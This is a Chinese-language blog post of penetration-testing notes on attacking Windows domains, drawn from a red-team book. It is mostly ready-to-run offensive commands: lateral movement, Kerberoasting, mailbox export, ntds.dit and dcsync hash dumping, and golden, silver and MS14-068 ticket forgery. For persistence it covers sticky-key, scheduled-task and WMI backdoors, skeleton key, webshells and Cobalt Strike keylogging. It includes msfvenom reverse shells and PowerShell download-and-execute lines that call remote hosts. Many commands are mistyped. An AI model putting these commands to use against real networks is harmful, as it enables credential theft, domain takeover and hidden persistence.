    将执行结果输出到屏幕
    $Remote.PayloadOutput
    
    • Invoke-WMIMethod(powershell自带)
    $user= "pentest\administrator"
    $password = ConvertTo-SecureString -String "a123456" -AsPlainText -Force
    $Cred = New-Object -TypeName System.Management.Automation.PsCredential
    远程启动计算器
    Invoke-WMIMethod -Class win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.xxx.xx.xxx" -Credential $cred
    

    永恒之蓝

    auxiliary/scanner/smb/smb_ms17_010
    

    smbexec使用

    C++版smbexec

    • 下载地址
    https://github.com/sunorr/smbexec
    
    • 使用
    test.exe ipaddress username password command netshare
    
    (1)上传execserver
    net use \\192.xxxx "Aa123" /user:pentest\adminidtrator
    
    cpoy execserver.exe \\192.xxx\c$\windows\
    
    (2)客户端执行命令
    test.exe 192.xxx.xxx.xxx administrator Aa123456 whoami c$
    

    impacket工具包中的smbexec.py

    smbexec.py
    smbexec.py pentest/administrator:[email protected]
    

    Linux跨windows远程执行命令

    • 下载地址
    https://github.com/brav0hax/smbexec
    

    DCOM在远程系统中的使用(分布式组件对象模型)

    本地DCOM执行命令

    • 获取DCOM程序列表
    Get-CimInstance Win32_DCOMApplication win12以上
    
    Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication win7、08
    
    • 使用DCOM执行任意命令
    本地启动计算器
    $com = [activator]::CreateINstance([type]::GetTypeFromProgiD("MMC20.Application",'127.0.0.1"))
    $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")
    
    • 远程机器执行命令
    net use \\192.168.100.205 "a123456" /user:pentest.com\syst1m
    
    $com = [activator]::CreateINstance([type]::GetTypeFromProgiD("MMC20.Application",'127.0.0.1"))
    
    $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")
    
    

    SPN

    SPN扫描

    • SPN
    spn = serviceclass "/" hostname [":"port] ["/" servicename]
    
    MSSQLSvc/computer1.pentest.com:1433
    exchageMDB/EXCAS01.pentest.com Exchange服务
    TERMSERV /EXAS.pentest.com rdp
    WSMAN/ExCAS01.pentest.com
    
    • PowerShell-Ad-Recon工具包
    https://github.com/PyroTek3/PowerShell-AD-Recon
    
    所有spn服务扫描
    https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Discover-PSInterestingServices
    
    Import-Moudle .\Discover-PSInterestingServices
    Discover-PSIntingService
    
    • Windows自带
    setspn -T domain -q */*
    

    Kerberoast

    • 手动注册SPN
    setspn -A MSSQLSvc/computer1.pentest.com:1433 mssql
    
    • 查看用户所对应的SPN
    setspn -L pentest.com\mssql
    
    • 查看所有注册的SPN
    setspn -T domain -q */*
    
    • adsiedit.msc查看用户spn以及其他高级属性
    • 配置指定服务的登陆权限

    gpedit.msc\Computer Configuration\Windows Settings\Security Settings\Local Policies\User Pights Assignment\Log on as a service
    
    • 修改加密类型
    gpedit.msc\Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\Network security; Configure encryption types allowed
    
    • 请求SPN Kerberos票据
    Add-Type -AssmblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestor SecurityToken-ArgumentList "MSSQLSvc/computer1.pentest.com"
    
    • 导出票据
    kerberos::list /export
    
    • 破解hash
    https://github.com/nidem/kerberoast
    
    python tgsrepcrack.py wordlist.txt mssql.kirbi
    

    Exchange邮件服务器

    • Exchange邮件服务器
    邮箱服务器(Mailbox Server)
    托管邮箱、公共文件夹及相关消息数据
    
    客户端访问服务器(Client Acess Server)
    接收处理不同客户端请求
    
    集线传输服务器(Hub Transport Server)
    进出站规则、处理邮件正确分发,确保地址正确解析
    
    统一消息服务器(Unified Messagine Server)
    允许用户通过邮件发送存储语音和传真
    
    边缘传输服务器(Edge Transport Server)
    路由发往内/外部的邮件、反垃圾邮件、反病毒策略
    
    • 访问接口
    OWa(web邮箱)
    domain/owa/
    
    EAC(echange管理中心)
    http://domain/ecp/
    
    Outlook Anywhere
    MAPI
    Exchange ActiveSyne
    Exchange Web Service
    

    Exchange服务发现

    • 基于端口扫描
    nmap -A -O -av 192.168.100.190
    
    • SPN查询
    setspn -T pentest.com -F -Q */*
    

    Exchange基本操作

    • 查看邮件数据库
    powershell
    add-pssnapin microsoft.exchange* 添加exchange管理单元
    Get-MailboxDatabase -server "Exchange"
    
    查询指定数据库
    Get-MailboxDatabase -Identity 'Mailbox Database 1894576043' | Format-List Name,EdbFilePath,LogFolderPath
    
    • 获取现有用户的邮件地址
    Get-Mailbox | format-tables Name,WindowsEmailAddress
    
    • 查看指定用户的邮箱使用信息
    get-mailboxstatistics -identity administrator | Select DisplayName,ItemCount,TotailItemSize,LastLogonTime
    
    • 获取用户邮箱中的邮件数量以及最后登陆时间
    Get-Mailbox -ResultSize Unlimited | Get-MailboxStatistics | Sort-Object TotalItemSize -Descend
    

    导出指定的电子邮件

    后缀为pst

    • 配置用户的导入/导出权限
    (1)查看用户权限
    Get-ManagementRoleAssignment -role "Mailbox import Export" | Format-List RoleAssigneeName
    
    (2)添加权限
    New-ManagementRoleAssignment -Name "Import Export_Domain Admins" -User "Administrator" -Role "Mailbox import Export"
    
    (3)删除权限
    Remove-ManagementRoleAssignment "Import Export_Domain Admins" -Confirm:$false
    
    • 设置网络共享文件夹
    UNC(通用命名规范)
    ner share inetpub=c:\inetpub /grant:everyone,full
    
    • 导出用户电子邮件
    (1)powershell导出
    New-MailboxExportRequest -Mailbox administrator -FilePath \\192.xxx.xxx.xxx\inetpub\administrator.pst
    (2)图形化导出
    192.168.100.194\ccp
    
    • 管理导出请求
    (1)查看之前产生的导出请求记录
    Get-MailboxExportRequest
    
    (2)将指定用户已完成导出请求删除
    Remove-MailboxExportRequest -Identity Administrtor\mailboxexport
    
    (3)删除所有导出记录
    Get-MailboxExportRequest -Status Completed Remove-MailboxExportRequest
    

    域控制器安全

    使用卷影拷贝服务器提取ntds.dit

    • ntds.dit
    存储用户名、散列值、组、GPP、Ou等数据库
    
    • 通过ntdsutil.exe提取ntds.dit
    为活动目录提供管理机制的命令行工具
    适用于03、08、12
    
    (1)创建快照
    ntdsutil snapshot "activate instance ntda" create quit quit
    
    (2)加载快照
    ntdsutil snapshot" mount {GUID} "quit quit
    
    (3)复制快照到本地
    copy c:\$xxx\ntds.dit c:\temp\ntds.dit
    
    (4)删除之前加载的快照
    ntdsutil snapshot "unmount {GUID}" "delect {GID}" quit quit
    
    (5)查看快照
    ntdsutil snapshot "List All" quit quit
    
    • 利用vssadmin提取ntds.dit
    创建和删除卷影拷贝、列出卷影拷贝信息
    适用于08、win7
    
    创建c盘卷影拷贝
    vssadmin create shadow /for=c:
    
    复制卷影拷贝
    copy ntds.dit c:\ntds.dit
    
    删除快照
    vssadmin delect shadow /for=c: /quiet
    
    • 利用vssown.vbs提取
    下载地址
    https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs
    
    cscript vssown.vbs /start 启动
    cscript vssown.vbs /create c 创建
    cscript vssown.vbs /list 列出
    cscript vssown.vbs /delect
    
    • 使用ntdsutil的IFM(媒体创建)创建卷影拷贝
    Nishang Copy-VSS.ps1 脚本
    import-moudle .\Copy-VSS.ps1
    Copy-vss
    
    • 使用diskshadow导出ntds.dit(必须在c:\windows\system32中操作)
    diskshadow.exe /? 查看帮助
    将需要执行的命令导入command.txt文件
    diskshadow.exe /s c:\command.txt 执行命令
    
    导出ntds.dit的txt
    
    //设置卷影拷贝
    set context persistent nowriters
    //添加卷
    add volume c: alias someAlias
    //创建快照
    create
    //分配虚拟磁盘盘符
    expose %someAlias% k:
    //将ntds.dit复制到c盘
    exec "cmd.exe" /c copy k:\windows\NTDS\ntds.dit c:\ntds.dit
    //删除所有快照
    delect shadow all 
    //列出系统中的卷影拷贝
    list shadow all
    //重置
    reset
    //退出
    exit
    
    diskshadow /s c:\command.txt
    
    导出system.hive
    reg save hkim\system c:\windows\temp\system.hive
    
    • 监控卷影拷贝服务的使用情况
    system event id 7036
    

    导出ntds.dit 中的散列值

    使用esedbexport 恢复ntds.dit

    • 下载地址
    https://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar
    
    • 导出netd.dit
     apt-get install autoconf automake autopoint libtool pkg-config
     ./configure
     make
     sudo make install 
     sudo ldconfig
    
     /usr/local/bin
    
    • 使用
    esedbexport -m tables ntds.dit 提取表信息
    
    • 导出散列值
    下载ntdsxtract
    https://github.com/csababarta/ntdsxtract.git
    
    python setup.py build && python setup.py install 安装ntdsxtract
    
    将netds.dit.export 和sustem文件夹放入ntdsxtract文件夹
    dsuser.py ntds.dit.export/database.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee all_user.txt 将所有散列值导出到all_user.txt
    
    dscomputers.py ntds.dit.export/database.3 computer_output --csvoutfile all_computers.csv 导出域内所有计算机的信息 
    

    impacket工具包导出散列值(secretsdump)

    https://github.com/csababarta/ntdsxtract.git
    
    python setup.py install
    
    impacket-secretsdump -system SYSTEM -ntds ntds.dll LOCAL 导出所有散列值
    
    impacket-secretsdump
    -hashs aad3bxxxxx
    -just-dc pentest.com/[email protected] 从远程域控制器中读取散列值
    
    • 在windows下解析ntds.dit 导出域账号和散列值
    https://github.com/zcgonvh/NTDSDumpEx/releases/download/v0.3/NTDSDumpEx.zip
    
    NTDSDumpEx.exe -d ntds.dit -s system
    

    利用dcsync获取域散列值

    • 使用mimikatz转储域散列值(域管)
    lsadump::dcsync /domain:pentest.com /all /csv 所有用户名的散列值
    
    lsadump::dcsync /domain:pentest.com /user:syst1m
    导出指定用户的散列值
    
    privilege::debug
    lsadump::lsa /inject 域控上转储lsass.exe dump散列值
    
    • 使用dcsync获取域账户和域散列值
    https://gist.github.com/monoxgas/9d238accd969550136db
    
    Invoke-DCSync -PWDumpFormat
    

    使用measploit获取域散列值

    • osexec_ntdsgrab
    use auxiliary/admin/smb/psexec_ntdsgeab
    RHOST、SMBDOMAIN、SMBUser、SMBPass参数
    
    • 基于meterprter会话获取域账号和散列值
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.xxx.xxx.xxx LPORT = 5555 -f exe > s.exe
    
    use windows/gather/credentials/domain_hashdump
    

    使用vshadow.exe和QuarksPwDump.exe导出域账号和散列值

    • 下载地址
    https://github.com/quarkslab/quarkspwdump
    
    ShadowCopy.vbs
    
    setlocal
    if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
    set SOURCE_DRIVE_LETTER=%SystemDrive%
    set SOURCE_RELATIVE_PATH=\windows\ntds\ntds.dit
    set DESTINATION_PATH=%~dp0
    @echo ...Determine the scripts to be executed/generated...
    set CALLBACK_SCRIPT=%~dpnx0
    set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
    @echo ...Creating the shadow copy...
    "%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
    del /f %TEMP_GENERATED_SCRIPT%
    @goto :EOF
    :IS_CALLBACK
    setlocal
    @echo ...Obtaining the shadow copy device name...
    call %TEMP_GENERATED_SCRIPT%
    @echo ...Copying from the shadow copy to the destination path...
    copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%
    
    esentutl /p /o ntds.dit 修复复制出来的ntds.dit
    
    vshadows.exe 
    

    Kerberos域用户提权

    PyKEK工具包

    • 下载地址
    https://github.com/mubix/pykek
    
    • 工具
    -u 用户名@域名
    -s  用户sid
    -d 域控制器地址
    -p 明文密码
    --rc4 在没明文密码情况下,通过NTLM Hash登陆
    
    • 使用
    wmic qfe get botfixid 查看补丁情况
    whoami /user 查看用户SID
    wmic useraccount get name,sid 获取域内所有用户的SID
    
    ms14-068.exe -u 域成员名@域名 -s SID -d 域控制器地址 -p 域成员密码
    
    清除票据
    kerberos::purge
    
    kerberos::ptc "[email protected]" 注入票据
    

    goldenPac.py

    • 命令格式
    python goldenPac.py 域名/域成员用户:密码@域控制器地址
    
    • 安装kerberos客户端
    apt-get install krb5-user y
    

    Metasploit

    • 利用脚本
    use auaxiliary/admin/kerberos/ms14_068_kerberos_checksum
    
    • 格式转换,导出kirbi格式文件
    kerberos::clist "a.bin" /export
    
    • 生成反向shell
    msfvenom -p windows/meterpreter/reverse_tcp LHOST LPORT -f exe &gt;shell.exe
    
    • 票据注入
    use exploit/mulit/reverse_tcp
    
    load wiki
    kerberos_ticket_use a.kirbi
    
    • 高权限票据测试
    use/exploit/windows/local/current_user_psexec
    

    权限维持及防御

    操作系统后门

    粘滞键后门

    • 替换
    cd windows\system32
    Move sethc.exe sethc.exe.bak
    copy cmd.exe sethc.exe
    
    • Empire
    usemoudle lateral_movement/invoke_wmi_debuggerinfo
    
    set List shuteet
    set ComputerName WIN7-64.shuteer.testlab
    set TargetBinary sethc.exe
    execute
    

    注册表注入后门

    • Empire
    usemoudle persistence/userland/registry
    
    set Listener shuteer
    set RegPath HKCU:Spftware\Microsoft\Windows\CurrentVersion\Run
    execute
    

    计划任务后门

    • Metasploit 模拟计划任务后门
    use exploit/multi/script/web_delivery
    
    (1)用户登陆
    schtacks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowsStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('http://192.xxx.xxx.xxx'")'" /sc onlogon /ru system
    
    (2)系统启动
    schtacks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowsStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('http://192.xxx.xxx.xxx'")'" /sc onstart /ru system
    
    (3)系统空闲
    schtacks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowsStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('http://192.xxx.xxx.xxx'")'" /sc onidle /i l
    
    • PowerSploit模拟生成后门
    https://github.com/PowerShellMafia/PowerSploit/blob/master/Persistence/Persistence.psm1
    
    创建后门。空闲状态下执行
    shuteer.ps1为要执行的payload
    Import-Moudle ./Persistence.psm1
    $ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
    $ UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle Add-Persistence -FilePath ./shuteer.ps1 -ElevatedPersistenceOption
    $ElevatedOptions - UserPersistenceOption $UserOptions -Verbose
    
    • Empire模拟后门
    usemoudle persistence/elevated/schtasks
    set DailyTime 16:17
    set Listener test
    execute
    
    • meterpreter后门
    Persistence
    
    • Cymothoa后门
    Cymothoa
    
    • WMI后门(管理员)
    Empire Invoke-WMl模块
    powershell/persistence/elevated/wmi
    
    检查目标主机情况:
    Get-WMIObject -Namespace root\Subscription -Class CommandLine EventConsumer -Fifter "Name='Update'"
    
    修复:
    删除自动运行的恶意wmi条目
    使用Get-WMIObject命令删除持久化相关组件
    

    WEB后门

    • Nishang
    nishang\Antak-WebShell目录下
    
    • Weevely
    https://github.com/epinna/weevely3
    
    weevely 查看帮助
    weevely <URl> <password> [cmd] 连接木马
    weevely session <path>[cmd] 加载会话
    weevely generate <password><path> 生成后门代理
    
    weevely http://xxx.xxx.xxx.xxx/test.php test
    
    system_info 系统信息
    net_scan扫描端口
    help 查看命令
    
    • webacoo后门
    webacoo -h 查看帮助
    webacoo -g -o /root/test.php 生成webshell
    
    webacoo -t -u http://xxxtest/php
    load  查看模块
    
    • ASPX meterpreter
    shell_reverse_tcp payload
    
    • PHP meterpreter
    php meterpreter payload
    

    域控制器权限持久化

    DSRM域后门

    • DSRM
    目录服务恢复模式
    使用DSRM账号恢复
    03不使用
    08需要安装KB961320补丁
    08以后不需要
    
    • 使用
    mimikatz
    
    获取krbtgt NTLM HASH
    privilege::debug
    lasdump::lsa /patch /name:krbtgt
    
    获取DSRM账号的NTLM Hash
    token:elevate
    lsadump:sam
    
    将DSRM账号和krbtgt的ntlm hash同步
    NTDSUTIL
    SET DSRM PASSWORD
    SYNC FROM DOMAIN account krbtgt
    
    查看是否同步成功
    lsadump::sam
    
    修改DSRM登陆方式
    新建HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior为2
    使用powershell更改
    New-ItemProperty "hkim:system\currentrolset\control\lsa\" -name "dsemadminlogonbehavior" -value 2 -propertyType DWORD
    
    使用dsrmz账号通过网络远程登陆域控制器
    privilege::debug
    sekurlsa:pth /domain:DC /user:administrator /ntlm:53ebxxxx
    
    dcysnc转储krbtgt ntlm hash
    lsadump::dcsync /domain:pentest.com /dc:dc /user:krbtgt
    
    防御:
    检查注册表
    修改dsrm账号
    经常检测ID为4794的日志
    
    • DerbyCON
    比DSRM更为高级的一种方式,知道hash
    
    Mimikatz “privilege::debug” “sekurlsa::pth /domain:ADSDC03 /user:Administrator /ntlm:7c08d63a2f48f045971bc2236ed3f3ac” exit
    

    SSP

    https://syst1m.com/post/security-support-provider/
    

    SID History域后门

    • SID History
    使A域中的syst1m用户的权限当syst1m用户迁移到B域中时还拥有原来的权限
    
    • 查看test用户的SID history属性
    Import-Moudle activedirectory
    Get-ADUser test -Properties sidhistory
    
    • 注入sid属性
    privilege::debug
    sid::add /sam:test /new:administrator
    
    • 再次查看sid history
    Get-ADUser test -Properties sidhistory.memberof
    
    • 测试
    dir \\dc\c$
    
    • 防御
    查看域用户sid为500的用户
    完成迁移后,对相同500检测
    定期检查id为4765和4766的日志、ID为4765为sid history属性添加到用户的日志。4766为将sid history属性添加到用户失败的日志
    

    Golden Ticket(黄金票据)

    • 环境
    域控:192.168.100.205
    域成员:192.168.100.146
    
    • 导出krbtgt的ntlm hash
    lsadump::dcsync /domain:pentest.com /user:krbtgt
    
    • 获取基本信息
    获取sid
    wmic useraccount get name,sid
    
    获取当前用户sid
    whoami /user
    
    查询域管理员账号
    net group "domain admins" /domain
    
    查询域名
    ipconfig /all
    
    • 实验
    清空票据
    kerberos::purge
    
    生成票据
    kerberos:golden /admin:Administrator /domain:pentest.com /sid:域SID /krbtgt:ntml hash /ticket:Administrator.kiribi
    
    注入内存
    kerberos::ptt Administrator.kiribi
    
    检索当前会话中的票据
    kerberos::tgt
    
    验证权限
    cscript wmiexec.vbs /shell dc
    

    Silver Ticket(白银票据)

    • 收集
    域名
    域SID
    目标服务器的FQDN
    可利用的服务
    服务账号的NTLM Hash
    需要伪造的用户名
    
    • 实验
    获取服务账号ntlm hash
    mimikatz log "privilege::debug" "sekurlsa::logonpasswords"
    
    清除票据
    klist purge
    
    伪造白银票据
    kerberos::golden /domain:pentest.com /sid:域SID /target:dc.pentest.com /serviceLcifs /rc4:ntlm hash /user:syst1m /ptt
    
    • 伪造LDAP 票据

    Skeleton Key(万能密码)

    • 使用域管账号密码连接
    net use \\192.168.100.205\ipc$ "password" /user:pentest\administrator
    
    • 添加万能密码
    privilege::debug
    misc::skeleton 注入万能密码
    
    • 验证
    删除原有ipc连接
    net use
    net usr \\dc\ipc$ /del /y
    
    使用万能密码连接
    net use \\dc\ipc$ "mimikatz" /user:administrator
    
    • Empire 中的Skeleton key
    interact 进入agent
    usemoudle persistence/misc/skeleton key* 加载模块
    execute 执行模块
    

    Hook PasswordChangeNotify

    • Hook PasswordChangeNotify
    Hook PasswordChangeNotify作用是当用户修改密码后在系统中进行同步,密码符合要求的话,LSA会调用PasswordChangeNotify同步密码
    
    • 使用
    Import-Moudle .\Invoke-ReflectivePEInjection.ps1
    
    注入HookPasswordChange.dll到内存
    Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
    
    当被修改密码查看
    type c:\windows\Temp\passwords.txt
    

    Nishang下的脚本后门

    • HTTP-Backdoor脚本
    可以下载和执行powershell脚本,接收第三方网站的执行,内存执行PowerShell脚本
    
    CheckURL 给出一个URL地址,如果存在我们MagicString中的值就去执行Payload - 下载运行我们的脚本
    PayloadURL 这个参数给出我们需要下载的Powershell脚本的地址
    Arguments 这个参数指定我们要执行的函数
    StopString 这个参数也会去看是否存在我们CheckURL返回的字符串,如果存在就会停止执行
    
    PS > HTTP-Backdoor -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -MagicString start123 -StopString stopthis
    
    • Add-ScrnSaveBackdoor
    可以帮助攻击者利用windows屏幕保护来安插一个隐藏后门
    
    • Execute-OnTime
    用于在目标机器上指定powershell 脚本的执行时间
    
    • Invoke-ADSBackdoor
    能够在NTFS数据流中留下一个永久性的后门,只有dir /a /r 才可以看到。
    
    Invoke-ADSBackdoor -PayloadURL http://a.com/test.ps1
    

    Cobalt Strike

    • 功能
     agscript 拓展应用脚本
     c2lint 用于检查profile错误和异常
     teamserver 团队服务器程序
     cobaltsteike.jar 客户端
     logs 日志
     update.jar 更新
     data 保存当前teamserver 一些数据
    

    Cs模块

    Cobalt strike模块

    后渗透模块

    • 使用Elevate模块提升Beacon权限
    右键->Acceess->Elevate
    
    内置三个模块
    (1)ms14-058 普通用户->sustem权限
    (2)uac-dll bypassuac
    (3)uac-token-duplication bypassuac
    
    elevate uac-dll test
    elevate uac-token-duplication test 
    
    • Gold Ticket提升域管权限
    access->Goldeb Ticket
    
    查看用户所属的组
    net user test /domain
    
    • make_token模拟指定用户
    access->Make_token
    
    • Dump Hashes导出散列值
    access->dump hashes
    命令行:hashdump
    
    • logonpasswords模块
    access->Run mimikatz
    命令行:logonpasswords
    
    
    • 查看导出的信息
    View->Crededtials
    
    • mimikatz模块
    mimikatz [moudle:command] <args>
    
    • PsExec模块
    Login->Psexec
    
    • SOCKS Server模块
    Pivoting->SOCKS Server
    

    ###CS常用命令

    • 基本命令
    help 帮助
    sleep  设置休眠时间
    
    • 常用操作命令
    getuid 哪个用户身份运行
    getsystem 尝试获取system权限
    getprivs 获取当前beacon包含的的所有权限
    
    Explore->Browser Pivot
    browserpivot [pid] [x86]x64]
    browserpivot stop
    劫持IE浏览器
    
    • 文件管理
    图形化:
        Explore->File Browser
    
    命令行:
        cd
        ls
        mkdir 
        delect
        mv
        execute 执行文件
    
    • net view 命令
    图形化:
        Explore->Net view
    命令行:
        net view 显示域、资源列表
        net computer 查询域控制器上的计算机账户列表查找目标
        net dclist 列出域控制器
        net domain_trusts 列出域信息列表
        net group 枚举自身所在域控制器中的组
        net localgroup 枚举当前系统的本地组
        net logons 列出登陆的用户
        net session 列出会话
        net share 列出共享的目录和文件
        net user 列出用户
        net time 显示时间
    
    • 端口扫描
    Explore->Port scan
    
    • 进程列表模块
    Explore->Process List
    命令行:
        ps
        kill [pid]
    
    • screenshot
    图形:
        Explore->screenshot
    命令行:
         screenshot
         screenshots pid s 定时截图
    
    • Log Keystrokes模块(键盘记录)
    图形:
        Process List->Log KeyStrokes
    命令行:
        keylogger [pid]
    
        view->Log Keystrokes 查看键盘记录
    
    • Inject 命令(注入新进程)
    图形化:
        Process List->Inject
    Becaon:
        inject [pid]
    
    • Steat Token模块
    图形化:
        Process List->Steal token
    Becaon:
        steat_token [pid]
    
    • Note模块
    图形化:
        session->note
    Becaon:
        note [text]
    
    • shell
    shell command arg
    
    • run
    run 程序 参数
    
    • execute(通常无回显)
    execute 程序 参数
    
    • powershell
    powershell command arg
    
    • powerpick(可以不通过调用powershell.exe 执行命令)
    powerpick commandlet arg
    
    • powershell-import (可以直接本地powershell脚本加载到目标系统的内存中)
    powershell-import /root/desktop/powerview.ps1
    powershell Get-HostIP
    

    Aggressor脚本

    加载脚本

    • 永久加载
    load按钮-> xxx.cna
    
    • 客户端加载
    ./agscript [host] [port][user][password][/path/to/script.cna]
    

    > 笔记摘自:《内网安全攻防 渗透测试实战指南》

    原创文章,作者:syst1m,未经授权禁止转载!如若转载,请联系作者:syst1m

联系我们

在线咨询:点击这里给我发消息

QR code